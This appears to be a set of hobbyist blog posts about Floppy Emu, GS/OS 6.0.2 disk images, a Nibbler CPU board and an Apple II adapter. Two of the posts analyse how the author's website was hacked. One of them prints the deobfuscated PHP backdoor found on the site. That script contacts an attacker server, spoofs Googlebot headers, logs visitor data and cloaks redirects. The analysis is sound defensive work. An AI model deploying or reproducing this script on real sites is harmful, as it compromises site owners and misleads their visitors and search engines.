If you follow the Apple II world, then you probably already know that a group of hobbyists recently released GS/OS 6.0.2 – a new version of the Apple IIGS operating system based upon Apple’s last official version from 1993. This new version includes many bug fixes and added features.

To make life easier for Floppy Emu owners, I’ve created this pre-configured GS/OS 6.0.2 hard disk image. It’s a 32 MB ProDOS disk image with GS/OS 6.0.2 already installed and ready to go. If your Floppy Emu has the Apple II firmware installed and is set for Smartport mode, then all you need to do is copy the smart0.po file onto your SD card, and power up your IIGS to begin exploring 6.0.2. Even if you don’t have a Floppy Emu, this disk image should also work with other Apple II hard disk emulators – it’s just a generic ProDOS disk image.

Some software-based Apple IIGS emulators like Sweet16 don’t like ProDOS disk images that are larger than 800K. For those, I’ve also created a pre-configured GS/OS 6.0.2 hard disk image in 2MG format. This 2MG disk image will also work with Floppy Emu, but I/O performance will be worse than with the PO disk image, so the PO version is preferred.

William Buchholz has designed and built a PCB version of my Nibbler 4-bit CPU for his local hackerspace. Nibbler is built entirely from standard 7400 series logic chips – individual counters, registers, buffers, and gates. It’s an educational example of a simple CPU that’s easy to understand and build, but still capable of running games and other interesting programs.

In addition to converting my messy wire-wrap job into an elegant PCB, William also made some component substitutions, including a larger program ROM. Using jumpers connected to the upper 5 address lines, you can select between several different programs without having to reprogram the ROM. More photos of William’s work are here and the schematics and design files are here.

January 2016 Update: The current hardware version Floppy Emu Model B has built-in Apple II functionality that’s equivalent to the Universal Adapter described here. The Universal Adapter is therefore not necessary when using a Floppy Emu Model B. For information on how the Universal Adapter can improve Apple II compatibility with Floppy Emu Model A, read on.

Today I’m announcing the Universal Adapter for Floppy Emu, which improves the emulation behavior with certain Apple II system configurations. If you use the Emu exclusively with Macintosh and Lisa computers, then you won’t need this. Apple II users, check the table below to see if your intended usage would benefit from the Universal Adapter:

Emulation Type	Floppy Emu Model A	Model A with Universal Adapter	Floppy Emu Model B
Macintosh
3 1/2 inch floppy disk
HD20 hard disk [1]
Lisa
3 1/2 inch floppy disk
Apple II, II+, IIe
5 1/4 inch floppy disk	[2]
Apple IIc
5 1/4 inch floppy disk
Smartport hard disk
Apple IIgs, IIc+
5 1/4 inch floppy disk
3 1/2 inch floppy disk
Smartport hard disk

[1] Requires Macintosh 512K, 512Ke, Plus, SE, Classic, Classic II, Portable, IIci, IIsi, or LC-I
[2] Reading the disk works, but writing does not

The Universal Adapter also contains a protection resistor to guard against accidental damage when switching between the Floppy Emu firmware for Apple II and the firmware for Mac/Lisa. With the Standard Adapter, if a Floppy Emu board running the Apple II firmware is accidentally plugged in to a Mac or Lisa, it could damage the Emu or the computer.

To use the Universal Adapter, set its slide switch to the appropriate position, depending on the selected emulation mode of the Floppy Emu. If the Emu is set to 3 1/2 inch floppy disk mode, then set the switch to the “3.5” position. If the Emu is set to any another mode (5 1/4 inch floppy, HD20 hard disk, Smartport hard disk), then set the switch to the “other” position. Setting the switch to the wrong position won’t harm anything, but it may cause disk-related errors.

So how does the Universal Adapter work, and how does it differ from the Standard Adapter? The Standard Adapter is a passive device that maps the 19 pins of a male DB-19 connector to the 20 pins of a male 10×2 shrouded header. It rearranges the order of the signals on the pins, but it doesn’t alter them or affect them in any way. In contrast, the Universal Adapter is an active device with an on-board IC that helps with Apple II disk connections. Because the Floppy Emu hardware was originally designed for the Macintosh, it can’t handle some Apple II disk signals correctly, so the Universal Adapter does the necessary interface work. Depending on the switch setting, the disk drive enable signal from the computer may be modified before it’s passed on to the Floppy Emu, and some signals will be forced to different voltages.

It’s OK to use the Universal Adapter with a Mac or Lisa computer, even though it’s not needed for those systems – that’s why it’s called “universal”. People who use a single Floppy Emu board with both Mac and Apple II computers may find this convenient.

The Universal Adapter is available for sale now at the Floppy Emu product page. It includes a detachable three foot extension cable (about 1 meter), just like the Standard Adapter/Cable, and it’s available by itself or bundled with a new Floppy Emu board.

Web Site Hacked
Web Hack Analysis Part 2
Web Hack Analysis Part 3

I believe I’ve identified how the hack on my websites occurred, and it wasn’t a WordPress vulnerability. It looks like the hacker got my Linux user password somehow, and then used ftp to login and modify the files on my web sites. Using the Linux command “last”, I generated a list of all logins from the past month, showing the method of login and the IP address. The result is shown above (I’ve blurred out my username because I’m starting to get paranoid, but it probably doesn’t matter).

There are lots of logins from 73.15.247.250 – that’s me. Some were console logins using ssh, and some were ftp logins. But on July 10 at 4:53 AM, there was an ftp login from 104.238.150.48. And not coincidentally, my site’s index.php file was modified 1 minute later, at 4:54 AM. Bingo.

Unfortunately the logs only go back a few days, so I can’t find any earlier instances of suspicious logins. And the FTP logs don’t even go back as far as July 10, so I can’t tell exactly what the hacker did when he connected by ftp.

So how did somebody get my password? Most likely it was due to my use of plain-old ftp for transferring files from my local machine to the web site, which sends my password over the internet in plaintext every time I log in. I knew it was insecure, but I did it anyway because it was convenient, and I figured “what could happen?” Well, this is what could happen. So I’ll be using sftp from now on.

If you’re a security guru or Linux know-it-all type, feel free to tell me what a dumb-ass I am. Believe me, I’m telling myself the same thing.

Web Site Hacked
Web Hack Analysis Part 2
Web Hack Analysis Part 3

Yesterday I described how the BMOW web site had been hacked, and my efforts to clean it up. Today I began looking at some of the hack scripts that were left behind, to try to understand how they work. It’s a fascinating glimpse into the mind of a malware author. The more I dug into it, the more it began to resemble peeling the layers of an onion, or opening a set of Russian nesting dolls.

The hack scripts are written in heavily obfuscated PHP. Some new PHP code was added to the beginning of the existing index.php file, and three new PHP files were also placed on the site. For this analysis, I examined one of the new files, named your.php. Here’s the file in its entirety:

OK, it’s calling eval() on some long string. The first few dozen characters of that string are written using ASCII escape sequences, as well as the last four characters. For example, /x65 means the ASCII character with value 65 (hex), which is a lower case e. Presumably this is done in order to further obfuscate the code’s true nature. If we substitute the ASCII characters for each escape sequence, then the script will look like this:

We want to look at the real program, the piece of text that’s been base64 encoded and gzipped here. So I stripped off the leading eval() calls, since we only want to look at the program’s code, not run it, and changed it to an echo() call instead. Then I ran the modified program in a local PHP interpreter. It revealed that the real program is this:

Haha! If one layer of eval(gzinflate(base64_decode(…))) is good for obfuscation, than two layers must be better right? Apparently the malware author thought so. Let’s apply the same technique again to reveal the hidden code:

Clearly, applying the same obfuscation technique three times is even better, right? At least this time there are two separate eval() blocks. Let’s unstack the Russian dollars once more:

Now we’re starting to get somewhere, maybe. There’s a function definition, for some function named doscdx45431(). Maybe the “dos” is for denial of service? Let’s substitute the characters for the ASCII escape sequences again:

Sigh… this is just a different way of performing another eval(gzinflate(base64_decode(…))), only this time a helper function is used, and the names of the functions are stored in strings. If we repeat the process one more time, to see what’s hidden in that encoded block of text, we finally hit paydirt:

?><?php
set_time_limit(0);
/**
 * @author bs
 * @copyright 2014
 */
class shell_run
{
    public $action  = "shell";
    
    function __construct()
    {
        if($_GET['check'] == 'check')
        {
            echo '0000-00-00';
            exit();
        }
        
        $Spider = $this->isBot();
        $url = "http://".$_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI'];
        
        $ip  = $_SERVER['REMOTE_ADDR'];
        if($Spider == true){
            $bot = 1;
        }else{
            $bot = 0;
        }
        
        $get_array['center_website'] = '3.bulksmspk.net';
        
        
        //ASP风格
        $request_url = explode("?",$_SERVER['REQUEST_URI']);
        if($bot == 1){

            $center_temp_url = 'http://'.$get_array['center_website']."/domain_get_url_test.php?
action=out_put&script_name=".$request_url[0]."&dstring=".$_SERVER['HTTP_HOST']."&type=asp&do_id="
.$request_url[1];
            $contents = $this->curlOpen($center_temp_url);
            echo $contents;
        }else{
            $center_temp_url = 'http://'.$get_array['center_website']."/51la.php?
type=asp&ip=".$ip."&shell=".$_SERVER['HTTP_HOST']."&user_agent=".$_SERVER['HTTP_USER_AGENT'];
            $this->curlOpen($center_temp_url);
            $url = 'http://'.$get_array['center_website']."/domain_redirect.php?
type=redirect&dstring=".$_SERVER['HTTP_HOST']."&do_id=".$request_url[1];
            header("Location: ".$url);
        }
        exit;
        //ASP风格
    }
    
    /**
     * isBot()
     * 判断蜘蛛-getSpider
     * @return
     */
    function isBot()
    {
        $bot_array = array('googlebot','ahrefsbot','msnbot','iaskspider', 'baiduspider', 
'sqworm', 'mediapartners-google', 'yahoo','vbseo','bingbot','sohu-search');
        $is_bot = false;
        foreach($bot_array as $bot){
            $agent = strtolower($_SERVER['HTTP_USER_AGENT']);
            if(strstr($agent,$bot)){
                $is_bot = true;
            }
        }
        return $is_bot;
    }
    /**
     * shell_run::curlOpen()
     * 获取本站的内容-getHTTP_HOST
     * @param mixed $url
     * @return
     */
    function curlOpen($url)
    {
        $ch2 = curl_init();
        $user_agent = "ConBot";
        curl_setopt($ch2, CURLOPT_URL, $url); 
        curl_setopt($ch2, CURLOPT_HTTPHEADER, array('X-FORWARDED-FOR:66.249.73.211',
'CLIENT-IP:66.249.73.211'));
        curl_setopt($ch2, CURLOPT_HEADER, false); 
        curl_setopt($ch2, CURLOPT_RETURNTRANSFER, 1); 
        curl_setopt($ch2, CURLOPT_REFERER,'http://'.$_SERVER['HTTP_HOST']);
        curl_setopt($ch2, CURLOPT_USERAGENT,$user_agent); 
        curl_setopt($ch2, CURLOPT_TIMEOUT,25); 
        $contents = curl_exec($ch2);
        curl_close($ch2);
        return $contents;
    }
}
$content = new shell_run();
?>

I find it funny that this malware code includes a copyright notice. The script begins by calling set_time_limit(0), an attempt to disable any maximum limit on the execution time of the script. It then defines a class called shell_run. Finally, it constructs a new object of the shell_run class, and assigns it to the variable $content. As far as I can tell, $content is never used, but that probably doesn’t matter.

The real work happens in the constructor for shell_run. It attempts to determine whether whoever requested your.php (remember that’s what we’re looking at) is a web crawling bot used for building search indexes, like the Googlebot. Next it splits the request URI at the ‘?’ character, separating the name of the requested file (your.php in this case) from any other request parameters. If the requestor is a bot, the script then fetches:

http://3.bulksmspk.net/domain_get_url_test.php?
action=out_put&script_name=your.php&dstring=[HTTP_HOST]&type=asp&do_id=[PARAMS]

where HTTP_HOST is the name of the web server, and PARAMS are any parameters that were passed by the original requestor. The result of this fetch is then echoed. Does the echoed text get PHP eval’d by one of the enclosing eval() calls, or does it simply get returned to the requestor as the HTML result? I’ve lost track.

If the requestor is not a bot, then the script fetches:

http://3.bulksmspk.net/51la.php?type=asp&ip=[IP]&shell=[HTTP_HOST]&user_agent=[HTTP_USER_AGENT]

where IP is the web server’s IP address, HTTP_HOST is its name, and HTTP_USER_AGENT is the requestor’s user agent string – something like Safari, Chrome, or Firefox. Interestingly, the script doesn’t do anything with the result of the fetch, so the purpose of this call is probably just to log something on the 3.bulksmspk.net server. The script then constructs a new URL:

http://3.bulksmspk.net/domain_redirect.php?type=redirect&dstring=[HTTP_HOST]&do_id=[PARAMS];

and then calls the PHP header() function, which generates an HTML response for the requestor instructing it to redirect to this new URL.

 
Huh?

So at the end of the day, what does all of this stuff do, exactly? I honestly don’t know. The file your.php isn’t likely to be linked by the site’s normal content, so it’s not clear how a web crawling robot would ever encounter it. Nor would a casual visitor to the site ever end up requesting your.php either. The only person likely to ever request this file is the hacker himself. It will log some information about the infected web server to 3.bulksmspk.net, and then redirect the requestor to another page on that site. As far as I can tell, it doesn’t actually do anything bad to the requestor or to the infected web server. Despite the name “shell_run”, it certainly doesn’t look like it’s running anything in a command shell. Maybe logging some information is all that your.php is designed to do, and I’ll have to dig into the other PHP scripts to learn what else this hack involves.

I’ve posted a new version of the Apple II firmware for Floppy Emu, that addresses some issues with Smartport hard disk emulation on the Apple IIc and IIc+:

• Fixed a display bug with ProDOS disk names on the LCD
• All Smartport disks should now be detected during the first cold boot – no warm restart necessary
• Apple IIc+ can now use the internal 3.5 inch floppy drive simultaneously with external emulated Smartport disks

You can download the new firmware here: apple-II-0.1J3-F6

On the Apple IIc and IIGS, you can have up to four Smartport disks, which will appear as slot 5 drives 1 and 2, and slot 2 drives 1 and 2. On the Apple IIc+, slot 5 drive 1 is the internal 3.5 inch drive, and the computer is limited to using at most three Smartport disks.